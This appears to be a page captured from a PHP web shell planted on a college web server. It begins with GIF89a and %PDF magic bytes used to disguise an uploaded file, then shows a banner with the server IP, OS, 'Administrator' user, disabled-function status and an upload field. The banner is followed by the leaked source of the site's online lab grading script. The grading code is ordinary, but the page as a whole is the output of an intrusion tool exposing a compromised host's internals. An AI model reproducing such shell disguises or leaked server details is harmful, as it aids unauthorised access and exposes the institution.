GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Class/OnlineLab/ |
Upload File : |
<? // Class/OnlineLab/OnlineLab.phpinc // Display and process online lab. if (da()) debugTrackBegin(); if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) $DEBUG_OnlineLab = true; if ( !isset($DEBUG_OnlineLab) ) $DEBUG_OnlineLab = false; array_unshift($Question['Answers'],''); // Add an empty element to the beginning of $Question['Answers']. array_unshift($Question['DataFrom'],''); // Add an empty element to the beginning of $Question['Answers']. array_unshift($QuestionPart['Text'],''); // Add an empty element to the beginning of $QuestionPart['Text']. array_unshift($QuestionPart['Options'],''); // Add an empty element to the beginning of $QuestionPart['Options']. array_unshift($QuestionPart['Value'],''); // Add an empty element to the beginning of $QuestionPart['Value']. array_pop($Question['Answers']); // Remove the empty last element from $Question['Answers']. array_pop($Question['DataFrom']); // Remove the empty last element from $Question['Answers']. array_pop($QuestionPart['Text']); // Remove the empty last element from $QuestionPart['Text']. array_pop($QuestionPart['Options']); // Remove the empty last element from $QuestionPart['Options']. array_pop($QuestionPart['Value']); // Remove the empty last element from $QuestionPart['Value']. // Calculate the required question part count, EC question part count, total required points, and the points for each question part. $QuestionPart['Count'] = array(); // Question part counts. $QuestionPart['Count']['Required'] = 0; // The number of required question parts for the question. $QuestionPart['Count']['ExtraCredit'] = 0; // The number of EC question parts for the question. $QuestionPart['Points'] = array(); // Question part points. $QuestionPart['Points']['Required'] = 0; // The total required points for this question. $QuestionPart['Points']['ExtraCredit'] = 0; // The total extra credit points for this question. $QuestionPart['Answer'] = array(); // The answers to each question part for each question. for ( $questionNum=1; $questionNum<=$Question['Number']; $questionNum++ ) { $QuestionPart['Answer'][$questionNum] = explode(",",$Question['Answers'][$questionNum]); // The correct answers for each question part. array_unshift($QuestionPart['Answer'][$questionNum],''); // Add an empty element to the beginning of $QuestionPart['Answer']. } for ( $questionPartNum=1; $questionPartNum<count($QuestionPart['Text']); $questionPartNum++ ) { if ( $QuestionPart['Value'][$questionPartNum] > 0 ) { $QuestionPart['Count']['Required']++; $QuestionPart['Points']['Required'] += $QuestionPart['Value'][$questionPartNum]; } else { $QuestionPart['Count']['ExtraCredit']++; $QuestionPart['Points']['ExtraCredit'] += abs($QuestionPart['Value'][$questionPartNum]); } } $QuestionPart['Count']['Total'] = $QuestionPart['Count']['Required'] + $QuestionPart['Count']['ExtraCredit']; include('common/Class/assignment_evaluation.phpinc'); // Calculate assignment and evaluation values. include('Course/courseInfo.phpinc'); // Get course info by f_courseNumber, courseNumber, or the URL. include('../../classInfo.phpinc'); include('Course/studentInClass.phpinc'); // Get f_classId, f_classSection, f_ClassInstructor, f_YRTR by userStudentId and f_courseId. include('common/Class/EvalInfo.phpinc'); // Get eval info from f_classId and f_evaluationTitle. $sId = $userStudentId; #printVar('$v_evaluationRow',$v_evaluationRow); include('common/user/userId_by_userStudentId.phpinc'); $uId = $f_userId; #pageCleanupBegin(); include('Gradebook/GetGrade_by_userId_evaluationId.phpinc'); #pageCleanupEnd(); #printVar('$f_userId',$f_userId); $title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle; $headTitle = '_CST_ - '.$courseNumber.'-'.$f_classSection.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.'-'.$f_classSection.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; include('common/pageHeader.phpinc'); include('common/sectionHeader.phpinc'); include('common/sectionFooter.phpinc'); $f_questionNum = formValue('questionNum'); // Get the questionNum if there is one. ?> <form name="form_Lab" action="<?=php_self()?>" method="post"> <input type="hidden" name="f_form" value="form_Lab" /> <input type="hidden" name="f_uuid" value="<?=uuid()?>" /> <input type="hidden" name="f_task" value="" /> <input type="hidden" name="f_sId" value="<?=$sId?>" /> <input type="hidden" name="f_uId" value="<?=$uId?>" /> <input type="hidden" name="f_questionNum" value="<?=$f_questionNum?>" /> <? if ( $DEBUG_OnlineLab ) { printVar('$f_task',$f_task,'/'); printVar('$f_subtask',$f_subtask,'f'); printVar('$f_classId',$f_classId,'f'); printVar('$f_classSection',$f_classSection,'f'); printVar('$f_ClassInstructor',$f_ClassInstructor,'f'); printVar('$f_evaluationId',$f_evaluationId,'f'); printVar('$f_evaluationTitle',$f_evaluationTitle,'f'); printVar('$f_evaluationDescription',$f_evaluationDescription,'f'); printVar('$f_evaluationPoints',$f_evaluationPoints,'f'); printVar('$f_evaluationWeight',$f_evaluationWeight,'f'); printVar('$f_userId',$f_userId,'f'); printVar('$evaluationNumber',$evaluationNumber,'f'); printVar('$Question',$Question,'/f'); printVar('$QuestionPart',$QuestionPart,'/f'); printVar('$f_gradeId',$f_gradeId,'/f'); printVar('$f_questionNum',$f_questionNum,'f'); printVar('$gradeInfo',$gradeInfo,'f'); } switch ($f_task) { case '': case 'Return to question list': case '_Exit': include('Class/OnlineLab/QuestionList.phpinc'); break; case 'Begin': case 'Continue': include('Class/OnlineLab/QuestionAnswer.phpinc'); break; case 'Add comment': case 'Edit comment': case 'Edit comments': include('Class/OnlineLab/QuestionAnswer.phpinc'); break; case 'Save question': include('Class/OnlineLab/QuestionSave.phpinc'); include('Class/OnlineLab/QuestionList.phpinc'); break; case 'Update grade': case 'Submit & grade question': include('Class/OnlineLab/QuestionSave.phpinc'); include('Class/OnlineLab/QuestionStatus.phpinc'); if ( $f_task == 'Update grade') $Viewed = $gradeanswerInfo[$f_questionNum]['gradeanswerViewed']; include('Class/OnlineLab/QuestionGrade.phpinc'); include('Class/OnlineLab/QuestionSaveGrade.phpinc'); if ( $f_task == 'Update grade' ) { include('Class/OnlineLab/QuestionSaveViewed.phpinc'); include('Class/OnlineLab/QuestionList.phpinc'); } else { include('Class/OnlineLab/QuestionAnswer.phpinc'); } break; case 'View correct answers': include('Class/OnlineLab/QuestionSaveViewed.phpinc'); include('Class/OnlineLab/QuestionAnswer.phpinc'); break; case 'Save comments': include('Class/OnlineLab/QuestionSaveComment.phpinc'); include('Class/OnlineLab/QuestionList.phpinc'); break; case 'Submit lab': $f_gradeSubmitted = 1; $f_gradeGraded = 1; case 'Submit lab comments': $f_gradeSubmitted = 1; if ( !isset($f_gradeGraded) ) $f_gradeGraded = 0; include('Class/OnlineLab/QuestionSubmit.phpinc'); $f_message = $evaluationType.' '.$evaluationNumber. ' graded & submitted.'; include('Class/OnlineLab/QuestionList.phpinc'); break; default: echo '<p class="bold">'.__FILE__.' <span class="error">Code for $f_task=['.$f_task.'] $f_subtask=['.$f_subtask."] not finished.</p>\n"; setDebugOn(); } ?> </form> <script type="text/javascript"> <!-- function QuestionTask(eId) { //alert('Question number = '+eId.name+' Task = '+eId.value); document.form_Lab.f_questionNum.value = eId.name; OnlineLabSubmit(eId); } function OnlineLabSubmit(eId) { //alert('Question number = '+eId.name+' Task = '+eId.value); document.form_Lab.f_task.value = eId.value; document.form_Lab.submit(); } function FormTask(task) { //alert('Question number = '+eId.name+' Task = '+eId.value); document.form_Lab.f_task.value = task; document.form_Lab.submit(); } if ( document.form_Lab.f_answerPart_0 ) { document.form_Lab.f_answerPart_0.focus(); } if ( document.form_Lab.f_gradeanswerComment ) { document.form_Lab.f_gradeanswerComment.focus(); } // --> </script> <? if (da()) debugTrackEnd(); if ( $DEBUG_OnlineLab ) setDebugOn(); #setDebugOn(); include('common/pageFooter.phpinc'); ?>